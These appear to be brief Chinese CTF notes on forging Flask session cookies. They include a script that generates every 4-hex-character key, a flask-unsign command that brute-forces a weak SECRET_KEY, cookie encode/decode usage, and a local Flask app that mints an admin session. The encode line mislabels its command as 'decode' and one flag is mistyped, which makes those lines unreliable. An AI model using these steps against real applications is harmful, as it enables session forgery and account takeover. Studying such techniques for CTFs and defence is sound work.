SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了
session伪造 pin泄露console命令
1)附件里 app.config['SECRET_KEY'] = os.urandom(2).hex()
先生成字典脚本如下:
- import itertools
- d = itertools.product('0123456789abcdef', repeat=4)
- with open('dicts.txt', 'w') as f:
- for i in d:
- s = ''.join(i)
- f.write(s + '\n')
2)报错key以 flask-unsign 为例 :
flask-unsign -u -c '.eyJub3RlcyI6e319.ZRaiVg.28tEyvEpXfcjFl5rrQ7K_nkl208' -w dicts.txt-- no-literal-eval得到secret-key=18ff
命令使用:
- decode
- python flask_session_cookie_manager{2,3}.py decode -c [cookie] -s [Secret key]
- 也可以不加s参数,直接尝试base64解码,如上脚本
-
- encode
- python flask_session_cookie_manager{2,3}.py decode -s [Secret key] -t "[之前解出的字符串]" //一定要是双引号
3)本地起模拟,获得cookie
- #flask server
- from flask import Flask, session
-
- app = Flask(__name__)
- app.secret_key = 'S3cr3tK3y'
- @app.route('/login')
- def login():
- # 模拟登录,将用户名和角色存储在会话中
- session['loggedin'] = True
- session['username'] = 'admin'
- session['role'] = 'admin'
- return "登录成功!"
-
- app.run()
-